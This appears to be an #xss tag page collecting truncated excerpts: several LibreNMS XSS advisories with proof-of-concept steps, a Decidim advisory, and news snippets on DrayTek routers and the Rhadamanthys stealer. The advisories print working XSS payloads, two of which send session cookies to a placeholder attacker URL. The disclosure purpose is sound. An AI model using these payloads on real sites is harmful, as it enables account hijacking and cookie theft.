#xss

A little over a dozen new security vulnerabilities have been discovered in residential and enterprise routers manufactured by DrayTek that could be exploited to take over susceptible devices. "These vulnerabilities could enable attackers to take control of a router by injecting malicious code, allowing them to persist on the device and use it as a gateway into enterprise networks," Forescout

### Summary Stored Cross-Site Scripting (XSS) can archive via Uploading a new Background for a Custom Map. ### Details Users with "admin" role can set background for a custom map, this allow the upload of SVG file that can contain XSS payload which will trigger onload. This led to Stored Cross-Site Scripting (XSS). ### PoC 1. Login using an Admin role account. 2. Go over to "$URL/maps/custom", the Manage Custom Maps.  3. Create a new map then choose to edit it. 4. Choose the "Set Background" option.  5. Choose to upload a SVG file that have this content. ```svg <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"> <circle cx="50" cy="50" r="40" /> </svg> ``` 6. Once uploaded, there should be a link to the SVG return in the POST request to the API "$URL/maps/custom/1/background". ![ima...

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Alert Transports" feature allows authenticated users to inject arbitrary JavaScript through the "Details" section (which contains multiple fields depending on which transport is selected at that moment). This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions. ### Details The vulnerability occurs when creating an alert transport. The application does not properly sanitize the user input in the "Details" field, allowing an attacker to inject and store arbitrary JavaScript. This script is then executed in the context of the page whenever the alert transport is viewed or processed. For instance, the following payload can be used to trigger the XSS: ```test1<script>{onerror=alert}throw 1337</script>``` When the page containing the transport details is loaded, this payload causes the browser to exec...

### Summary The application fail to sanitising inputs properly and rendering the code from user input to browser which allow an attacker to execute malicious javascript code. ### Details User with Admin role can create a Device Groups, the application did not properly sanitize the user input in the Device Groups name, when user see the detail of the Device Group, if java script code is inside the name of the Device Groups, its will be trigger. ### PoC 1. Login as an Admin role user. Then go over to "$URL/device-groups" 2. Create a new Device Group with this payload in their name ```js <img src="x" onerror="alert(document.cookie)"> ```  3. Go over to the detail page of that Device Groups, in this case "$URL/devices/group=2". Will see a pop-up.  ### Impact Attacker can use this to perform malicious java scri...

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Alert Rules" feature allows authenticated users to inject arbitrary JavaScript through the "Title" field. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions. ### Details The vulnerability occurs when creating an alert rule. The application does not properly sanitize user inputs in the "Title" field, which allows an attacker to escape the attribute context where the title is injected (data-content). Despite some character restrictions, the attacker can still inject a payload that leverages available attributes on the div element to execute JavaScript automatically when the page loads. For example, the following payload can be used: ```test1'' autofocus onfocus="document.location='https://<attacker-url>/logger.php?c='+document.cookie"``` This payload triggers the XSS when the affected page i...

### Summary A Self Cross-Site Scripting (Self-XSS) vulnerability in the "Alert Templates" feature allows users to inject arbitrary JavaScript into the alert template's name. This script executes immediately upon submission but does not persist after a page refresh. ### Details The vulnerability occurs when creating an alert template in the LibreNMS interface. Although the application sanitizes the "name" field when storing it in the database, this newly created template is immediately added to the table without any sanitization being applied to the name, allowing users to inject arbitrary JavaScript. This script executes when the template is created but does not persist in the database, thus preventing stored XSS. For instance, the following payload can be used to exploit the vulnerability: ```test1<script>{onerror=alert}throw 1337</script>``` The root cause of this vulnerability lies in the lack of sanitization of the "name" variable before it is rendered in the table. The vulnerab...

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Device Dependencies" feature allows authenticated users to inject arbitrary JavaScript through the device name ("hostname" parameter). This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions. ### Details The vulnerability occurs when creating a device within LibreNMS. An attacker can inject arbitrary JavaScript into the hostname parameter. This malicious script is then executed when another user visits the device dependencies page, resulting in an automatic redirect to a website controlled by the attacker. This redirect can be used to steal session cookies or perform other malicious actions. For example, the following payload can be used to exploit the vulnerability: ```t'' autofocus onfocus="document.location='https://<attacker_url>/?c='+document.cookie"``` When the device dependencies page is...

### Impact The version control feature used in resources is subject to potential cross-site scripting (XSS) attack through a malformed URL. ### Workarounds Not available ### References OWASP ASVS v4.0.3-5.1.3 ### Credits This issue was discovered in a security audit organized by [Open Source Politics](https://opensourcepolitics.eu/) against Decidim done during July 2025.

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The threat actors behind the Rhadamanthys information stealer have added new advanced features to the malware, including using artificial intelligence (AI) for optical character recognition (OCR) as part of what's called "Seed Phrase Image Recognition." "This allows Rhadamanthys to extract cryptocurrency wallet seed phrases from images, making it a highly potent threat for anyone dealing in